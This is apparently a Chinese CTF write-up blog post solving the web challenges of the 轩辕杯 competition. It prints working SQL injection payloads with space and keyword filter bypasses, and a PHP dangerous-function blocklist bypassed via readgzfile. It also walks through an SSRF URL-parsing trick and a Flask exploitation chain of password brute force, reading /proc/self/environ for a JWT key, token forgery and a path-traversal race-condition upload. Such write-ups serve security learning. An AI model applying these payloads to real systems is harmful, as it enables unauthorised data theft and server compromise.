轩辕杯-web全解

ezflask

ssti,fenjing一把索

ezjs

看main.js知道得到flag的条件是得到100000000000分,而得分条件是game.js里面,我们直接覆盖js文件,将加分改为一次加100000000000

刷新一下跳一分就好

ezrce

非预期,readgzfile函数,没想到可以rce的函数了,还请有大佬教教

<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
    $disable_fun = array(
        "exec", "shell_exec", "system", "passthru", "proc_open", "show_source", 
        "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", 
        "escapeshellarg", "assert", "substr_replace", "call_user_func_array", 
        "call_user_func", "array_filter", "array_walk", "array_map", 
        "register_shutdown_function", "register_tick_function", "filter_var", 
        "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", 
        "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", 
        "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
    );
    
    $disable_fun = array_map('strtolower', $disable_fun);
    $a = strtolower($a);

    if (in_array($a, $disable_fun)) {
        echo "宝宝这对嘛,这不对噢";
        return false;
    }
    return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
    echo "看来第一层对你来说是小case<br>";
    if (is_numeric($num) && $num > 1234) {
        echo "还是有点实力的嘛<br>";
        if (isset($new) && isset($star)) {
            echo "看起来你遇到难关了哈哈<br>";
            $b = waf($new); 
            if ($b) { 
                call_user_func($b, $star); 
                echo "恭喜你,又成长了<br>";
            } 
        }
    }
}
?>

ezsql1.0

测试发现是数字型注入,过滤了空格,然后会有一个对select置空的操作(难绷),最后flag还不在当前数据库里(问就是读了),服了,最终payload流程

1/**/group/**/by/**/3 //判断回显位个数
0/**/union/**/selselectect/**/1,2,3 //判断回显位
0/**/union/**/selselectect/**/1,2,group_concat(schema_name)/**/FROM/**/information_schema.schemata//查库(xuanyuanCTF)
0/**/union/**/selselectect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="xuanyuanCTF" //查表(info)
0/**/union/**/selselectect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="xuanyuanCTF"/**/and/**/table_name="info"查列(id,title,content)
0/**/union/**/selselectect/**/1,2,group_concat(content)/**/from/**/xuanyuanCTF.info //查字段

ezssrf

调试如下

可以看到三斜杠是parse_url会报错过不了第一个验证,但是单斜杠可以正确输出并且不会有host,那么host===null,所以此时两关都过了。先传?url=http:/127.0.0.1/flag得到文件名

签到

第一关

第二关

第三关

第四关

第五关

dp

第六关

ez_web

看源码的对话,尝试爆破fly233的密码得到密码123456789,登入,在点开三本书时发现存在read路由,抓包发现文件读取,尝试任意文件读取,读取/app/app.py得到源码

from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt


app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}


def generate_token(username):
    payload = {
        'username': username
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token


def decode_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None


@app.route('/')
def index():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    username = payload['username']
    books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
    return render_template('./index.html', username=username, books=books)


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        
        return render_template('./login.html')
    elif request.method == 'POST':
        
        username = request.form.get('username')
        password = request.form.get('password')

        
        if username in users and users[username] == password:
            token = generate_token(username)
            response = make_response(jsonify({
                'message': 'success'
            }), 200)
           
            response.set_cookie('token', token, httponly=True, path='/')
            return response
        else:
            
            return {'message': 'Invalid username or password'}


@app.route('/read', methods=['POST'])
def read_book():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    book_path = request.form.get('book_path')
    full_path = os.path.join(book_dir, book_path)
    try:
        with open(full_path, 'r', encoding='utf-8') as file:
            content = file.read()
        return render_template('reading.html', content=content)
    except FileNotFoundError:
        return "文件未找到", 404
    except Exception as e:
        return f"发生错误: {str(e)}", 500


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    if request.method == 'GET':
        
        return render_template('./upload.html')
    if payload.get('username') != 'admin':
        return """
        <script>
            alert('只有管理员才有添加图书的权限');
            window.location.href = '/';
        </script>
        """
    file = request.files['file']
    if file:
        book_path = request.form.get('book_path')
        file_path = os.path.join(book_path, file.filename)
        if not os.path.exists(book_path):
            return "文件夹不存在", 400
        file.save(file_path)

        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
            pattern = r'[{}<>_%]'

            if re.search(pattern, content):
                os.remove(file_path)
                return """
                <script>
                    alert('SSTI,想的美!');
                    window.location.href = '/';
                </script>
                """
        return redirect(url_for('index'))
    return "未选择文件", 400

读源码可以知道存在文件上传,但需要JWT伪造管理员,秘钥在环境变量里面,访问/proc/self/environ得到key,网站伪造:JSON Web Tokens - jwt.io

根据前面文章的内容可以知道这里能进行条件竞争来进行文件上传,根据源码知道我们应该要上传文件覆盖原来的reading.html文件,因为os.path.join函数的特性,我们可以通过/../来命名文件实现目录穿越

302的便是上传成功了的,同时另一个访问

总结

写的不好,佬们轻喷

posted @ 2025-05-26 17:52  TouHp  阅读(52)  评论(1)    收藏  举报